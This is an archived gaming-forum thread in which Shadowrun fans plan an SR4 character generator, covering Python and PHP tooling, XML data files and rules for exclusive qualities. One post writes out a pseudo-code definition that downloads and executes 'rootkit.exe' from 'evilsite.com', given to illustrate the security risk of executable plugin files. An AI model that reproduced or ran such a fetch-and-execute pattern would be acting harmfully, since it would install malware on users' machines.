Help - Search - Members - Calendar
Full Version: Web Site Help / SR4 Character Generator?
Dumpshock Forums > Discussion > Shadowrun
Pages: 1, 2
Dashifen
Some of you may recall the dashifen character record system which I put together a while back (yeah, I know the name still sucks). It's my intention to resurrect that system and update it for SR4 over the coming weeks. However, to do that I needed a web site. Since I wanted to do more than just the DCRS 2.0, I've created a new web site focused on shadowrun. Don't expect much. I only have the homepage and two downloads so far.

Here's where you all come in. In the bottom right hand corner of the content area there is a small box where I'd like random ironic quotations or sayings to appear. I've entered three myself -- thanks Fortune for the inspiration for one of them -- just to get the ball rolling, but I figured that you all could probably enter quite a few by the time I finish work today.

If you've got a quotation or a saying -- from a movie, popular culture, or even one of your games -- that you think might fit the bill, head over to the add a quote page and drop it into the database.

A note for IE users -- you won't see the quotation box. I'm still working to get IE to put it in the right place and since it's display was worse than horrible with IE, I've just removed it from the screen. You can still add a quote if you'd like, though, and I'll figure out how to bend IE to my will as opposed to the other way around.

Thanks everyone for the above.

In return, here's another thing I wanted to know: has anyone heard of plans in the works for an SR4 character generator similar to NSRCG? I've spoken with someone else online -- who will remain nameless to he/she decides to speak up -- and we're interested in giving it a go perhaps as both a web-based application like my old DCRS and as a downloadable program like the NSRCG. If you're interested in perhaps working on a protion of that whether it's preparing .dat files or databases, working on the interface or maybe even some programming, post below or drop me a PM. Granted, since we haven't even seen the rules yet we don't know how much we've bitten off let alone whether we can chew it, so in all truthfulness we're hedging out bets at this point. I figure there's a lot of interst out there, though, for such a program all we need is someone or a group of someones to step up and write it.
Deschain
You do realize that I'm going to spend the next few hours randomly refreshing your page to see if any other good quotes pop up....
Kagetenshi
To be fair, I did make the original statement that I was already thinking of working on it publicly.

~The Nameless One
Dashifen
Yeah, but I didn't want to speak for you. Didn't seem right.
Dashifen
QUOTE (Deschain)
You do realize that I'm going to spend the next few hours randomly refreshing your page to see if any other good quotes pop up....

I have a 10GB bandwidth limit. If you use that up by refreshing a 20k page then ... well honestly that'd be pretty impressive biggrin.gif
Nikoli
lol
Thanks Dash. As always your SR work is appreciated.
Though when I get my grubby mits on SR4 I'll likely be doing something similair.
Deschain
QUOTE (Dashifen)
QUOTE (Deschain @ Aug 19 2005, 02:40 PM)
You do realize that I'm going to spend the next few hours randomly refreshing your page to see if any other good quotes pop up....

I have a 10GB bandwidth limit. If you use that up by refreshing a 20k page then ... well honestly that'd be pretty impressive biggrin.gif

That sounds like a challenge...... spin.gif
Dashifen
QUOTE (Nikoli @ Aug 19 2005, 02:45 PM)
lol
Thanks Dash.  As always your SR work is appreciated.
Though when I get my grubby mits on SR4 I'll likely be doing something similair.

We should pool efforts or at least discuss the different things we want to do, though, so that we don't double-up too much to start out with. Thus we can get the largest amount of tools online as quickly as possible.
Nikoli
I mainly focus on tools for speeding up tedium. remember the decker cheat-sheet and the ranged TN sheet. that sort of stuff.
Kagetenshi
QUOTE (Dashifen @ Aug 19 2005, 02:42 PM)
Yeah, but I didn't want to speak for you.  Didn't seem right.

Appreciated smile.gif

With regard to tools my plan is to do the offline version in Python using the Tk toolkit for maximum compatibility with all players, while the web app is more Dashifen's department in terms of planning. We'll probably be making a program design sometime in the next week or two when we get the book.

As a note, for human readability and validity-checking purposes I'd be inclined to use XML datafiles rather than flat files for data, but I could be convinced to do otherwise.

(For anyone who's wondering what happened to the SR3 vehicle generator, this is practice for it. If this doesn't end up being simpler, the SR4 devs failed hard.)

~J
Nikoli
I might have to familiarize myself with Python. Currently I write exclusively in excel and VB
Dashifen
From what Kagetenshi has shown me about python, it's not too bad. As for the web environment, my intention is a PHP/MySQL implementation with a strong use asynchronous javascript with or without XML depending on need. This will help me provide a tool online that acts as if it's on your maching similar to how maps.google.com works by fetching small amounts of data from their server quickly. I've had success working within this structure for other character generators and similar applications.

Oh, and since I noticed that some of you were adding the source of your quotes, I just added a source box. Not sure where I'll display it on the screen, yet, but I'll work on that later.
Kagetenshi
Incidentally, while I haven't started putting anything there yet, I'll be including various SR4 resources at sr4.sr3r.net (there's something ironic about that URL).

~J
Shadow
Love the site Dash, let me know if there is anything I can do (other than add quotes).
bclements
Python is a great language. Easy to pick up, especially if you already know some programming, and quite powerful and extendable.

I'd recommend it: I mainly use it for scripting, but it's got a variety of uses. The O'Riley Python book is my recommendation for learning it.
Dashifen
Thanks all ... got close the 30 quotes in the database, now. I'll leave the page up for now but that's enough that I'm not seeing the same one twice in a row too often as MySQL draws at random.
Kagetenshi
While we're waiting, what is our desired program functionality?

Thoughts for the Python version, though obviously anything that can be should be implemented in both programs:
  • Generate a character using the full rules, allowing reversals (removing points from a skill due to changing one's mind, for example)
    • Allow alternate build point quantities
    • Do not require user to divide points into skills and attributes except by spending them on such (one of my biggest complaints with the NSRCG)
  • Saving a built character to a valid XML file with enough general-purpose information to be used in other tools
    • Include CSS for displaying the file in a logical, readable, attractive manner
    • Include XSLT for transforming to XHTML+CSS in several different styles (clean, tabled, etc.)
    • Ensure the files are designed logically enough to allow easy hand-editing
  • Open XML character sheets in progress and edit them
    • Validate against scheme to ensure validity
  • Read gear, skills, qualities from XML libraries
    • Validate against scheme
    • Allow user to add to list on per-character basis
    • Allow hand editing
    • Allow user to add to list on permanent basis from within program?
Anything else we need? I'm probably forgetting something basic.

Ideas for future inclusion involve support for basic houserules (like the elimination of skill or attribute caps) with appropriate tagging of characters as such.

~J
Dashifen
I think that it's probably easier to make online tools which save information in secured database (to protect copyright and all that). Then, we can have the database export well formatted XML in the necessary way. This only works for gear, spells, qualities, skills, etc. Plus, then an online component could tap into the same databases.

Hell, if Python can check a web page or download a file and read its contents we could build an auto-dat-file-updater by recording the last update to the databases.
Kagetenshi
Python can do that, and it's a good idea for gear updates.

We're not going to be able to effectively protect our datafiles, though (it's flat-out impossible, and additionally against my conscience), so any information in them had best be clean by copyright standards—we'd have to talk to FanPro about what's acceptable there.

~J
Dashifen
Agreed. Judging by mcmackie's standards, the basic informatin (cost, availability, effect, etc.) is cool but full descriptions are a problem. Do you want to handle communications or hope someone official finds the thread (it's a poor name at this point considering I closed the quote thigy down when I got to 30 some quotes).
Kagetenshi
If you edit the first post you can always scrap the first half of the thread name.

I'll give someone a shout about it—we may have to stick at pure stats and a page reference.

~J
Dashifen
Sounds good. I'll get back to learning python wink.gif
Demonseed Elite
Very nice site, it's now added to my Shadowrun bookmarks. cool.gif
CrystalBlue
I was looking into making a SR4 program as well...untill I found out that I'm out of my league here. frown.gif You guys have already started thinking about it, and I still have yet to get my books. You guys also must be very good programmers. I'm just a little tech college student. I wish I knew as much as you guys do...I only know about three languages, and not all of them proficiant enough to do what you're doing.
Nikoli
Thanks for the vote o' confidence. we're not all by any means experts. Hell I'm still struggling with english let alone programming languages.

I'm more of a GM tool type guy, I'll leave char-gen to those that want it. I'm looking to reduce tedium in gameplay.
Kagetenshi
QUOTE (CrystalBlue)
I was looking into making a SR4 program as well...untill I found out that I'm out of my league here. frown.gif You guys have already started thinking about it, and I still have yet to get my books. You guys also must be very good programmers.

Bah. What kind of attitude is that?
QUOTE
I'm just a little tech college student.  I wish I knew as much as you guys do...I only know about three languages, and not all of them proficiant enough to do what you're doing.

It's not about how many languages you know (eventually it doesn't matter whether or not you know a language as long as you've got a few weeks and a good reference), but about how you think. Proper programming is as much a way of approaching a problem as anything else.

Put it this way: what do you know right now? Five gets you three we can find you something to do to help out here.

~J
CrystalBlue
Well, I'd love to help. I'd give me a chance to learn more about program development. If you need help, let me know. I don't know Python yet, but I have VB and Java.
Dashifen
QUOTE (Nikoli @ Aug 22 2005, 09:41 AM)
I'm more of a GM tool type guy, I'll leave char-gen to those that want it.  I'm looking to reduce tedium in gameplay.

A noble course as well.

</shamless_plug>

Honestly, CrystalBlue, if you would like to help out, or even just see what we do behind the scenes (I've a seperate forum set up on my site just for design and development of this program) let us know. I don't think anyone would mind helping out the next generation of programmers wink.gif

Edit: nevermind, didn't notice that Kage already got back to you with similiar sentiments. Nikoli and CrystalBlue -- sent you guys PMs with more information.
Slacker
QUOTE (Dashifen)
A noble course as well.

Just thought I'd mention that on the page you link to, the frame for Neighborhoods Generator is slightly wider than the others.
Dashifen
it isn't for me ... probably due to the scroll bar. the first step of the neighborhood generator is smaller than the rest and you may not need a scroll bar. since the page layout is in percentages, the scroll bar takes out a little piece of the window and, thus, the other ones may seem thinner when they're not. Conversely, IE hates my web site so far, so it could be that sort of problem. I haven't worried about IE compatibility as I'm hoping that IE7 will solve the CSS layout concerns that most developers have with IE and, thus, I won't have to be concerned in the long run grinbig.gif
Slacker
Nope, I still have the scrollbar on Neighborhoods. Not sure what could be causing it. Oh well, it's a very minor detail. I only noticed it because it's wider than the frame for the top section.
Kagetenshi
QUOTE (CrystalBlue)
Well, I'd love to help. I'd give me a chance to learn more about program development. If you need help, let me know. I don't know Python yet, but I have VB and Java.

How familiar are you with object-oriented programming? Have you grokked the purpose of objects and the true meaning of inheritance?

Also, how are you at the most important part of programming: documenting your program?

If you're good to go on both of those, here's a little assignment (don't worry about getting things perfect, we'll be able to tweak anything that doesn't look right):

Figure out how many classes should be used to represent a Shadowrun, 4th Edition character without having unused attributes, and what those classes should be.

~J
Dashifen
QUOTE (Slacker)
Nope, I still have the scrollbar on Neighborhoods. Not sure what could be causing it. Oh well, it's a very minor detail. I only noticed it because it's wider than the frame for the top section.

It's actually the right hand button doing it. IE makes the buttons bigger than other browsers for some reason (i've never noticed it before) and, thus, it pushes the table wider than the rest of the screen.
pragma
I'm going to be very busy in the coming months but I am very comfortable with perl and CSS and familiar enough with programming to at least think I'm useful. If you'd like help, I'd love to be of service.
Dashifen
We might be in touch when we work on the web components but for now it looks like python will be taking the lead as our core development language. Thanks, pragma
Kagetenshi
(Full disclosure: Pragma's a player in my Saturday games, so I know him from elsewhere)

While I don't think the project is large enough to support too many more people without communications overhead becoming unwieldy, I'd personally appreciate your assistance—at the very least, you ought to be able to come up with some better character sheet CSS than I could. I'll pass a preliminary sheet over to you when I'm done mocking it up—we'll be able to do basic transformations (reordering, stripping commas or parentheses or whatever) via XSLT, so feel free to edit those while working on display.

Remind me, how familiar are you with Python and program design?

~J
pragma
Haven't worked with Python before but I've no doubt I can learn if need be. Very familiar with program design -- as far as I can tell at least.
Kagetenshi
Sounds good.

My brain is fried, does anyone on this project have the book yet?

~Zombie
Dashifen
Me.

I'm through character gen at this point. The logic isn't that hard, it's the exceptions due to the qualities that will make things interesting. Gonna need a table of flags or something that we can set and reset to see which qualities a person has for use in the rest of the system. The big four are, of course, adept, magician, mystic adept, and technomancer since they unlock whole other sections of the generation system to the player, but some of the other ones allow attribtues or skills to go to seven but only once and what not.
Nikoli
Not to mention those four are mutually exclusive.
Dashifen
That's why it's nice to use an array and assert that the sum of the values of the array cannot be anythign but 1 or 0. Then, you only get one of those four qualities or throw an exception otherwise. Whoops ... went and geeked out there for a minute wink.gif
Spookymonster
A suggestion? I'm not sure what language you're coding in, so I'll keep it relatively high-level:

Create a Rules field in each of your data tables. This field contains conditions required before each entry is added to your character sheet. For example, if the Technomancer quality is mutually exclusive with the Magician quality, you might code the rule for the Technomancer quality something like this:
CODE
Technomancer.Rule = mutex("Magician")


Every time the end-user selects a new entry, you evaluate the entry's rules field. In the example above, the mutex function would be executed with an argument of "Magician". The mutex function would check your character's sheet for the Magician quality and, if it found it, would alert the user and reject the change. Otherwise, it returns a successful return code. Prior to finalizing the character, you could evaluate the rules again, just to make sure you didn't miss anything.

The benefit of this is that you don't have to hard code every exception into your program's logic. Rather, the rules pertaining to the item's use are kept in the item's entry in the data table. As new items and usage rules are introduced to the game, you can append new functions to your existing code or import it from, say, a rules file.

Here's some other rules examples:
mutex("foo") - this item can't appear in the same object as "foo"
prereq("foo") - this item requires the purchase of item "foo"
minreq(5) - this item needs to be purchased in minimum increments of 5
maxreq(100) - no more than 100 of this item can be owned by the same object

I use a similar process in my job to build tables of strings according to date calculations, e.g., foo = currentMonth(+5).

Hope that helps!
Taran
QUOTE (Dashifen)
Gonna need a table of flags or something that we can set and reset to see which qualities a person has for use in the rest of the system.  The big four are, of course, adept, magician, mystic adept, and technomancer since they unlock whole other sections of the generation system to the player, but some of the other ones allow attribtues or skills to go to seven but only once and what not.
I disagree strongly with this approach. Under this system there's no way to add custom qualities without hacking the source. Spookymonster's approach is better, maybe correct, but I don't like that it uses, essentially, a custom rule-definition language. The most flexible approach is to give each quality a legal?() function and an effects() function, each taking the character as an argument, but there are security issues there.
Kagetenshi
Expand on the security issues? I'm probably just taking too narrow a view of what "security" means, but I'm not seeing it.

~J
Taran
In a collection of good, useful quality/cyberware definitions, include a definition like:

Quality: God Doesn't Love You (-70)
CODE
define legal?(character)
  download('http://evilsite.com' 'rootkit.exe')

define effects(character)
  exec('rootkit.exe')


(Forgive the crappy Python, I haven't actually written any in over a year)

This isn't too likely to happen, as I'd think that all the definition files would be either distributed by a trusted source or hand-rolled. Still, it's a strong argument in favor of a custom definition language.

Edited for code tags
Dashifen
The definition files will probably be nothing but plain text and not executed at all, thus someone could try to attack the program by entering code into the block, but all it would do is get printed on the screen.

Now, the mutex function that you mentioned, spookymonster, is great. And I've done a lot of work with that kind of stuff at the class level. Which, incidentally, I've always allows one class to access the methods of another class (a singleton -- that is there's only one every instantiated in the program) which controls information about what's mutially exclusive. So, in a way, the mutex() type functions that I've always worked with simply access a large flag table that's instantiated at program run time.

I like what you're saying, though, and will certainly make a note of it -- for use with the SR4CG or otherwise (crap -- did I just make our acronym?)
Taran
If you use a definition language like spookymonster's, sure. I was suggesting that each quality/cyberware piece/etc have two associated Python functions, written into the definition file and executed during runtime. This would permit new qualities to be added without changing the program source, and enable GMs to add their own homebrew qualities without having to recompile...or re-add their changes whenever they receive a program update.
Kagetenshi
QUOTE (Dashifen @ Aug 23 2005, 03:34 PM)
SR4CG (crap -- did I just make our acronym?)

No, no you didn't.

~J

"Better living through better acronyms!"

Postscript: *quickly renames his project folder*
Dashifen
QUOTE (Taran)
If you use a definition language like spookymonster's, sure. I was suggesting that each quality/cyberware piece/etc have two associated Python functions, written into the definition file and executed during runtime. This would permit new qualities to be added without changing the program source, and enable GMs to add their own homebrew qualities without having to recompile...or re-add their changes whenever they receive a program update.

I agree with what you're saying, but within the architecture which mcmackie's NSRCG uses -- which I feel we'll keep using due to its familiarity amoung our target audience -- a GM can add new gear and qualities that do not effect the inner workings of the programs, but those qualities that change the way the program must behave (specifically the magician, mystic adept, adept, and technomancer) qualities will proabably have to be handled as a seperate type of quality while others (i.e. double jointed) could be handled in a similar manner to the .dat information of the NSRCG.

Of course, since none of us working on the program have actually begun discussing our architecture or design techniques, how we're going to handle things, classes, etc. I don't think this is an arguement we need to focus on at the moment. I like what you're saying I'm just not sure I want to open us up to the security risks of allowing interpreted code to be created by third-parties. Invariably, someone will break the system and then come to us complaining about bugs when it was their code or their information that caused the problem. At least if we control all of the executable code, if a bug happens, we know it was our fault and, more than likely, we can probably find it faster having actually written the code as opposed to having to trouble shoot other person's add-ons.
Kagetenshi
So I've been mocking up some prototype code for attributes and skills, and I came to a question: how does cyberware work with attributes, particularly cyberlimbs?

~J
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Dumpshock Forums © 2001-2012